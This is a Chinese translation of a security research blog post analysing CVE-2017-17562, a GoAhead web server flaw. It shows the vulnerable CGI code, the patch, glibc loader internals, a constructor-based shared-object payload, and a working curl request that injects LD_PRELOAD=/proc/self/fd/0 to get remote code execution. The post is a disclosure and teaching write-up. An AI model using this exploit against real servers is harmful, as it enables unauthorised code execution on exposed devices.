GoAhead Web CVE-2017-17562

介绍

此博客文章的详细信息CVE-2017-17562,一个可用于在所有GoAhead Web服务器版本中获得可靠的远程代码执行的漏洞<3.6.5。

该漏洞是使用不受信任的HTTP请求参数初始化分叉CGI脚本的环境的结果,并且会影响所有启用了动态链接可执行文件(CGI脚本)的CGI支持的用户。这种行为,当与glibc动态链接器结合使用时,可能会被使用特殊变量LD_PRELOAD(通常用于执行函数挂钩,参见preeny)的远程代码执行滥用。

对于那些不熟悉GoAhead的人来说,它的营销页面说它是“世界上最流行的微型嵌入式Web服务器”,被IBM,HP,Oracle,波音,D-link和摩托罗拉等公司所使用。我们对shodan进行了搜索,发现今天在互联网上使用了735,000多个设备。

这个问题的利用作为一个有趣的案例研究,并可以应用于其他类型的软件具有相同的不安全的结构。

脆弱性分析

这个漏洞在所有版本的GoAhead中都存在,因为至少有2.5.0(我们找不到以前的版本来测试)。您可以按照以下方式克隆和编译存储库:

克隆和运行易受攻击的GoAhead守护进程

daniel@makemyday:~$ git clone https://github.com/embedthis/goahead.git
Cloning into 'goahead'...
remote: Counting objects: 20583, done.
remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583
Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.
Resolving deltas: 100% (14843/14843), done.
daniel@makemyday:~$ cd goahead/
daniel@makemyday:~/goahead$ ls
configure      CONTRIBUTING.md  doc        installs    main.me   Makefile      paks      README.md  test
configure.bat  dist             farm.json  LICENSE.md  make.bat  package.json  projects  src
daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q
daniel@makemyday:~/goahead$ make > /dev/null
daniel@makemyday:~/goahead$ cd test
daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest
daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead

该漏洞驻留在cgiHandler函数中,该函数通过为新进程的envp参数分配一个指针数组,然后使用从HTTP请求参数中获取的键值对来初始化该漏洞。最后,这个launchCgi函数被称为哪个fork和哪个execveCGI脚本。

除了过滤REMOTE_HOST和HTTP_AUTHORIZATION所有其他参数会被视为可信,并沿着未过滤的通过。这允许攻击者控制新的CGI进程的任意环境变量。这是非常危险的,你会在开发部分稍后看到。

goahead / src / cgi.c:cgihandler

...
PUBLIC bool cgiHandler(Webs *wp)
{
    Cgi         *cgip;
    WebsKey     *s;
    char        cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];
    char        *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;
    CgiPid      pHandle;
    int         n, envpsize, argpsize, cid;

...

    /*
        Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
        we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
        to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
        in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
        loop includes logic to grow the array size via wrealloc.
     */
    envpsize = 64;
    envp = walloc(envpsize * sizeof(char*));
    for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
        if (s->content.valid && s->content.type == string &&
            strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
            trace(5, "Env[%d] %s", n, envp[n-1]);
            if (n >= envpsize) {
                envpsize *= 2;
                envp = wrealloc(envp, envpsize * sizeof(char *));
                            }
        }
    }
    *(envp+n) = NULL;

    /*
        Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
        should already exist.
     */
    if (wp->cgiStdin == NULL) {
        wp->cgiStdin = websGetCgiCommName();
    }
    stdIn = wp->cgiStdin;
    stdOut = websGetCgiCommName();
    if (wp->cgifd >= 0) {
        close(wp->cgifd);
        wp->cgifd = -1;
    }

    /*
        Now launch the process.  If not successful, do the cleanup of resources.  If successful, the cleanup will be
        done after the process completes.
     */
    if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
...

补丁

这个问题是通过跳过特殊的参数名称来解决的,并用静态字符串作为前缀。这似乎可以解决这个问题,甚至对形式的参数a=b%00LD_PRELOAD%3D- 但请让我知道,如果你发现,否则,我很想听到它!

git diff f9ea55a 6f786c1 src / cgi.c

diff --git a/src/cgi.c b/src/cgi.c
index 899ec97b..18d9b45b 100644
--- a/src/cgi.c
+++ b/src/cgi.c
@@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp)
     envpsize = 64;
     envp = walloc(envpsize * sizeof(char*));
     for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
-        if (s->content.valid && s->content.type == string &&
-            strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
-            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
-            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
+        if (s->content.valid && s->content.type == string) {
+            if (smatch(s->name.value.string, "REMOTE_HOST") ||
+                smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
+                smatch(s->name.value.string, "IFS") ||
+                smatch(s->name.value.string, "CDPATH") ||
+                smatch(s->name.value.string, "PATH") ||
+                sstarts(s->name.value.string, "LD_")) {
+                continue;
+            }
+            envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,
+                s->name.value.string, s->content.value.string);
             trace(5, "Env[%d] %s", n, envp[n-1]);
             if (n >= envpsize) {
                 envpsize *= 2;

开发

虽然将任意环境变量注入新进程的能力可能看起来相对良好,但有时候“特殊”环境变量会导致动态链接程序的替代控制流。

ELF动态链接器

读取goahead二进制文件的ELF标头,我们可以看到它是一个64位动态链接的可执行文件。程序解释器在该INTERP部分中指定并指向/lib64/ld-linux-x86-64.so.2(这是动态链接器)。

读取ELF标题

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0xf80
  Start of program headers:          64 (bytes into file)
  Start of section headers:          21904 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         34
  Section header string table index: 33

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x00000000000001f8 0x00000000000001f8  R E    0x8
  INTERP         0x0000000000000238 0x0000000000000238 0x0000000000000238
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
...
daniel@makemyday:~/goahead/build/linux-x64-default/bin$

动态链接器是第一个在动态链接的可执行文件中运行的代码,负责链接和加载共享对象并解析符号。为了得到goahead二进制加载的所有共享对象的列表,我们可以设置一个特殊的环境变量LD_TRACE_LOADED_OBJECTS来1打印加载的库,然后退出。

ld.so LD_TRACE_LOADED_OBJECTS

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS=1 ./goahead
        linux-vdso.so.1 =>  (0x00007fff31bb4000)
        libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)
daniel@makemyday:~/goahead/build/linux-x64-default/bin$

我们还可以通过以DT_NEEDED递归方式对每个ELF共享对象中定义的条目进行刷新来静态地(不运行动态链接器)查找这些信息:

静态寻找共享对象的依赖关系

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libgo.so]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libpthread.so.0]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [ld-linux-x86-64.so.2]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$

注意:对于那些注意到这些二进制文件丢失的精明读者linux-vdso.so.1,这是正确的!vDSO是由内核映射到用户空间进程的特殊共享库。见男子7 vdso

特殊的环境变量

所以这是好的,但是这和注入环境变量有什么关系呢?那么...我们知道动态链接器是第一个执行新进程的代码 - 如果我们读取man 8 ld.so,我们发现有一些特殊的环境变量可以修改默认行为。

正如我是看源头的粉丝,让我们探索一下正在发生的事情。该dl_main函数实质上是动态链接器的主要入口点。

glibc / elf / rtld.c:dl_main

static void
dl_main (const ElfW(Phdr) *phdr,
         ElfW(Word) phnum,
         ElfW(Addr) *user_entry,
         ElfW(auxv_t) *auxv)
{
  const ElfW(Phdr) *ph;
  enum mode mode;
  struct link_map *main_map;
  size_t file_size;
  char *file;
  bool has_interp = false;
  unsigned int i;

...

  /* Process the environment variable which control the behaviour.  */
  process_envvars (&mode);

这个函数做的第一件事就是调用process_envvars。

glibc / elf / rtld.c:process_envvars

static void
process_envvars (enum mode *modep)
{
  char **runp = _environ;
  char *envline;
  enum mode mode = normal;
  char *debug_output = NULL;

  /* This is the default place for profiling data file.  */
  GLRO(dl_profile_output)
    = &"/var/tmp\0/var/profile"[__libc_enable_secure ? 9 : 0];

  while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)
    {
      size_t len = 0;

      while (envline[len] != '\0' && envline[len] != '=')
        ++len;

      if (envline[len] != '=')
        /* This is a "LD_" variable at the end of the string without
           a '=' character.  Ignore it since otherwise we will access
           invalid memory below.  */
        continue;

      switch (len)
        {
        case 4:
          /* Warning level, verbose or not.  */
          if (memcmp (envline, "WARN", 4) == 0)
            GLRO(dl_verbose) = envline[5] != '\0';
          break;

        case 5:
          /* Debugging of the dynamic linker?  */
          if (memcmp (envline, "DEBUG", 5) == 0)
            {
              process_dl_debug (&envline[6]);
              break;
            }
          if (memcmp (envline, "AUDIT", 5) == 0)
            audit_list_string = &envline[6];
          break;

        case 7:
          /* Print information about versions.  */
          if (memcmp (envline, "VERBOSE", 7) == 0)
            {
              version_info = envline[8] != '\0';
              break;
            }

          /* List of objects to be preloaded.  */
          if (memcmp (envline, "PRELOAD", 7) == 0)
            {
              preloadlist = &envline[8];
              break;
            }

我们可以看到链接器正在解析envp数组,并且如果找到特殊的变量名称,就会执行不同的代码路径。什么是特别有趣case 7的处理LD_PRELOAD,在哪里preloadlist初始化。

glibc / elf / rtld.c:dl_main

...
  /* We have two ways to specify objects to preload: via environment
     variable and via the file /etc/ld.so.preload.  The latter can also
     be used when security is enabled.  */
  assert (*first_preload == NULL);
  struct link_map **preloads = NULL;
  unsigned int npreloads = 0;

  if (__glibc_unlikely (preloadlist != NULL))
    {
      HP_TIMING_NOW (start);
      npreloads += handle_ld_preload (preloadlist, main_map);
      HP_TIMING_NOW (stop);
      HP_TIMING_DIFF (diff, start, stop);
      HP_TIMING_ACCUM_NT (load_time, diff);
    }
...

更进一步dl_main,如果preloadlist不是NULL那么 handle_ld_preload函数被调用。

glibc / elf / rtld.c:handle_ld_preload

/* The list preloaded objects.  */
static const char *preloadlist attribute_relro;
/* Nonzero if information about versions has to be printed.  */
static int version_info attribute_relro;

/* The LD_PRELOAD environment variable gives list of libraries
   separated by white space or colons that are loaded before the
   executable's dependencies and prepended to the global scope list.
   (If the binary is running setuid all elements containing a '/' are
   ignored since it is insecure.)  Return the number of preloads
   performed.  */
unsigned int
handle_ld_preload (const char *preloadlist, struct link_map *main_map)
{
  unsigned int npreloads = 0;
  const char *p = preloadlist;
  char fname[SECURE_PATH_LIMIT];

  while (*p != '\0')
    {
      /* Split preload list at space/colon.  */
      size_t len = strcspn (p, " :");
      if (len > 0 && len < sizeof (fname))
        {
          memcpy (fname, p, len);
          fname[len] = '\0';
        }
      else
        fname[0] = '\0';

      /* Skip over the substring and the following delimiter.  */
      p += len;
      if (*p != '\0')
        ++p;

      if (dso_name_valid_for_suid (fname))
        npreloads += do_preload (fname, main_map, "LD_PRELOAD");
    }
  return npreloads;
}
...

该handle_ld_preload函数将解析preloadlist并将其值视为要加载的共享对象列表!

如果我们把所有这些放在一起,以goahead使我们能够将任意环境变量,我们可以滥用的事实,glibc的处理特殊情况下,如LD_PRELOAD不同的加载甚至都没有在二进制中列出的任意共享对象!

ELF .SO

所以,这很酷,我们可以强制任意共享对象加载。但是,这是如何让我们运行代码?

输入.init和.fini部分。如果我们用一个构造函数属性包装一个函数,那么我们甚至可以强制该函数在之前被调用main。

PoC / payload.c

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: World!\n", 14);
}

将payload.c编译为共享对象。

daniel@makemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so
daniel@makemyday:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null
Hello: World!
daniel@makemyday:~/goahead/PoC$

甜!如果我们在我们的测试系统上对GoAhead进行测试,这看起来像什么?

尝试一个简单的PoC

daniel@makemyday:~/goahead/PoC$ ls -la ./payload.so
-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so
daniel@makemyday:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10
HTTP/1.0 200 OK
Date: Wed Dec 13 02:38:56 2017
Transfer-Encoding: chunked
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
content-type:  text/html

daniel@makemyday:~/goahead/PoC$

我们可以清楚地看到我们的共享对象代码是由cgitest进程通过执行的LD_PRELOAD。

LINUX / PROC / SELF / FD / 0

我们还缺少一个关键的难题。即使我们知道可以从磁盘加载任意的共享对象,而构造函数将允许代码执行 - 我们如何实际将恶意的共享对象注入到远程服务器?毕竟,如果我们不能做到这一点,那么磁盘上的合法共享对象就不太可能帮助我们了。

幸运的是,这个launchCgi方法实际上是dup2() stdin文件描述符,它指向一个包含请求的请求体的临时文件POST。这意味着在磁盘上将会有一个包含用户提供的数据的文件,并且可以被类似的东西引用LD_PRELOAD=/tmp/cgi-XXXXXX。

goahead / src / cgi.c:launchCgi

/*
    Launch the CGI process and return a handle to it.
 */
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
    int     fdin, fdout, pid;

    trace(5, "cgi: run %s", cgiPath);

    if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdin: ", cgiPath);
        return -1;
    }
    if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {
        error("Cannot open CGI stdout: ", cgiPath);
        return -1;
    }

    pid = vfork();
    if (pid == 0) {
        /*
            Child
         */
        if (dup2(fdin, 0) < 0) {
            printf("content-type: text/html\n\nDup of stdin failed\n");
            _exit(1);

        } else if (dup2(fdout, 1) < 0) {
            printf("content-type: text/html\n\nDup of stdout failed\n");
            _exit(1);

        } else if (execve(cgiPath, argp, envp) == -1) {
            printf("content-type: text/html\n\nExecution of cgi process failed\n");
        }
    ...
}

不过,这是一种烦人的(但不是不可能的)不得不远程猜测包含我们的POST有效载荷的临时文件名。幸运的是,Linux procfs文件系统有一个很好的符号链接,我们可以用它来引用stdin描述符,它指向我们的临时文件。这可以通过指向杠杆LD_PRELOAD来/proc/self/fd/0。这也可以使用访问/dev/stdin。

linux / fs / proc / self.c

static const char *proc_self_get_link(struct dentry *dentry,
                      struct inode *inode,
                      struct delayed_call *done)
{
    struct pid_namespace *ns = inode->i_sb->s_fs_info;
    pid_t tgid = task_tgid_nr_ns(current, ns);
    char *name;

    if (!tgid)
        return ERR_PTR(-ENOENT);
    /* 11 for max length of signed int in decimal + NULL term */
    name = kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC);
    if (unlikely(!name))
        return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);
    sprintf(name, "%d", tgid);
    set_delayed_call(done, kfree_link, name);
    return name;
}

static const struct inode_operations proc_self_inode_operations = {
    .get_link   = proc_self_get_link,
};

如果我们把所有这些信息放在一起,我们可以通过发送一个POST包含一个恶意的共享对象的请求来可靠地利用这个漏洞constructor。我们还指定一个HTTP参数?LD_PRELOAD=/proc/self/fd/0,它将指向包含攻击者有效载荷的磁盘上的临时文件。在这一点上,游戏结束了。

通过命令行进行开发

daniel@makemyday:~/goahead/PoC$ curl -X POST --data-binary @payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  9931    0  2035  100  7896   2035   7896  0:00:01  0:00:01 --:--:--  9774
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello:  World!
Content-type: text/html

daniel@makemyday:~/goahead/PoC$

如果你想要一个随时可以利用的漏洞,请查看我们在GitHub上的咨询回购

结论

这个漏洞是一个有趣的案例研究,在如何远程利用LD_PRELOAD,并被测试(和工作)的所有版本的GoAhead Web服务器。构造本身可能存在于其他服务中,调查将会很有趣。可能只是使用漏洞字符串,而不用实际审计任何代码。

尽管CGI处理代码在所有版本的Web服务器(这使其成为理想的目标)中保持相对稳定,但在其他模块中多年来出现了大量的代码翻转。有可能还有其他有趣的漏洞 - 对于那些有兴趣的人,我建议先从grep入手websDefineHandler。

如果你有兴趣了解更多关于链接和加载的信息,这里这里有一篇很棒的文章,我们建议你看看。


转载请注明出处:https://www.freearoot.com/index.php/goahead-web-cve-2017-17562.html

文章来源:https://www.elttam.com.au/blog/goahead/